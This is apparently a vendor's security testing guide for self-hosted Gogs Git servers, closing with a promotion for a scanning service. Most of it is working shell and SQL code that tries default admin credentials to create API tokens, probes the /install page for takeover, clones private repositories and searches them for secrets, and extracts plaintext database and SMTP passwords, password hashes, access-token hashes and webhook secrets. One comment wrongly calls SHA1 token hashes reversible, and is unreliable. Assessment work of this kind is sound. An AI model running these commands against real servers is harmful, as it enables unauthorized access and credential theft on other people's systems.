Gogs is a widely deployed self-hosted Git service — it is the original lightweight Git platform that Gitea was forked from and remains popular for minimal-resource deployments. Key assessment areas: Gogs often has open registration enabled, allowing anyone to self-register and access public repositories; API tokens provide persistent credential-free access to all accessible repositories; the database stores user passwords and SSH keys; and app.ini contains database credentials and SMTP passwords in plaintext. This guide covers systematic Gogs security assessment.
# Gogs — open registration and default credential testing
GOGS_URL="https://git.example.com"
# Check if Gogs allows open registration
SIGNUP=$(curl -s -o /dev/null -w "%{http_code}" "${GOGS_URL}/user/sign_up" 2>/dev/null)
echo "Sign-up page HTTP: $SIGNUP"
# 200 = open registration enabled
# 403 = registration disabled
# Try self-registration with a test account
RESULT=$(curl -s -X POST "${GOGS_URL}/user/sign_up" \
-H "Content-Type: application/x-www-form-urlencoded" \
-c /tmp/gogs_jar \
-d "_csrf=$(curl -sc /tmp/gogs_jar ${GOGS_URL}/user/sign_up | grep _csrf | grep -oP 'value="\K[^"]+')" \
-d "user_name=testaudit&email=test@audit.local&password=Audit123!&retype=Audit123!" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
echo "Self-registration: HTTP $RESULT"
# Default admin credentials — first user registered becomes admin
for CRED in "admin:admin" "gogs:gogs" "git:git" "administrator:admin123"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
TOKEN=$(curl -s -u "${USER}:${PASS}" \
-X POST "${GOGS_URL}/api/v1/users/${USER}/tokens" \
-H "Content-Type: application/json" \
-d '{"name":"audit-token"}' 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('sha1',''))" 2>/dev/null)
[ -n "$TOKEN" ] && echo "SUCCESS ${USER}/${PASS}: token=${TOKEN:0:20}..."
done
# Check if /install is still accessible (re-setup attack)
INSTALL=$(curl -s -o /dev/null -w "%{http_code}" "${GOGS_URL}/install" 2>/dev/null)
echo "/install HTTP: $INSTALL"
# 200 = installation page accessible — full admin takeover possible
# Gogs API — token access and repository enumeration
GOGS_URL="https://git.example.com"
GOGS_TOKEN="your-gogs-api-token"
# Enumerate all accessible repositories
curl -s "${GOGS_URL}/api/v1/repos/search?limit=50&token=${GOGS_TOKEN}" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
repos = d.get('data',[])
print(f'Repositories: {len(repos)}')
for r in repos[:15]:
print(f' [{r.get(\"id\")}] {r.get(\"full_name\")}')
print(f' private={r.get(\"private\")} stars={r.get(\"stars_count\")}')
print(f' url={r.get(\"clone_url\")}')
" 2>/dev/null
# Admin user enumeration (admin only)
curl -s "${GOGS_URL}/api/v1/admin/users?token=${GOGS_TOKEN}" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d, list):
print(f'Users: {len(d)}')
for u in d[:10]:
print(f' [{u.get(\"id\")}] {u.get(\"login\")} email={u.get(\"email\")} admin={u.get(\"is_admin\")}')
" 2>/dev/null
# Clone a private repository with token
git clone "https://${GOGS_TOKEN}:x-oauth-basic@${GOGS_URL#https://}/owner/private-repo.git" \
/tmp/cloned_repo 2>/dev/null && {
echo "Repository cloned:"
ls /tmp/cloned_repo
# Search for secrets in cloned repository
grep -rE "(password|secret|api_key|token|AWS|AKIA)" /tmp/cloned_repo \
--include="*.env*" --include="*.conf*" --include="*.yml*" 2>/dev/null | head -20
}
# Gogs database and configuration credential extraction
# app.ini — main Gogs configuration file
find / -name "app.ini" -path "*/gogs/*" 2>/dev/null | head -3
cat /data/gogs/conf/app.ini 2>/dev/null | grep -A20 '\[database\]'
# Contains: DB_TYPE, HOST, NAME, USER, PASSWD (plaintext database password)
cat /data/gogs/conf/app.ini 2>/dev/null | grep -A10 '\[mailer\]'
# Contains: PASSWD (SMTP password in plaintext)
cat /data/gogs/conf/app.ini 2>/dev/null | grep -E "SECRET|PASSWD|PASSWORD|KEY" | head -10
# SQLite database (for SQLite deployments)
find / -name "gogs.db" 2>/dev/null | head -3
DB_PATH="/data/gogs/data/gogs.db"
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
-- All users
SELECT id, lower_name, name, email,
passwd, -- hashed password
passwd_hash_algo, -- pbkdf2 or argon2
salt,
is_admin,
login_source,
created_unix
FROM user
ORDER BY is_admin DESC, id;
EOF
-- All API access tokens (stored as SHA1 hashes but SHA1 is reversible via rainbow tables)
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT u.name as user, at.name as token_name,
at.sha1 as token_hash,
at.created_unix
FROM access_token at
JOIN user u ON at.uid = u.id
ORDER BY at.created_unix DESC;
EOF
-- All SSH keys
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT u.name as user, pk.name as key_name,
pk.fingerprint, pk.type,
pk.created_unix
FROM public_key pk
JOIN user u ON pk.owner_id = u.id
ORDER BY pk.created_unix DESC;
EOF
-- Webhook secrets (may contain API keys/tokens for external services)
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT hw.repo_id, hw.events, hw.content_type,
hw.url, hw.secret -- webhook secret in plaintext
FROM webhook hw
ORDER BY hw.repo_id;
EOF
# Docker environment
docker inspect gogs 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
print(e)
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Open registration exploitation and admin account creation | POST /user/sign_up — self-register if registration enabled; first registered user is admin; unauthorized admin account creation on uninitialized instances | Critical |
| API token generation and repository enumeration | POST /api/v1/users/{user}/tokens then GET /api/v1/repos/search — persistent API access; all accessible repository enumeration including private repos; source code and secrets extraction | High |
| app.ini plaintext database and SMTP credential extraction | Read app.ini PASSWD fields — database password and SMTP password in plaintext; complete database access enabling all user data extraction | High |
| SQLite user table password hash extraction | SELECT passwd FROM user — pbkdf2 or argon2 password hashes; offline cracking for weak passwords; SSH public key enumeration | High |
| /install endpoint re-setup attack | GET /install — if accessible, complete application reconfiguration with new admin credentials; full system takeover | Critical |
Ironimo tests Gogs deployments for open registration exploitation and admin account creation, /install endpoint accessibility for re-setup attacks, default admin credential testing, API token generation and repository enumeration, app.ini plaintext PASSWD credential extraction, SQLite user password hash and SSH key enumeration, webhook secret plaintext extraction, public repository secret scanning, REQUIRE_SIGNIN_VIEW bypass, and CVE-based vulnerability assessment for unpatched Gogs versions.
Start free scan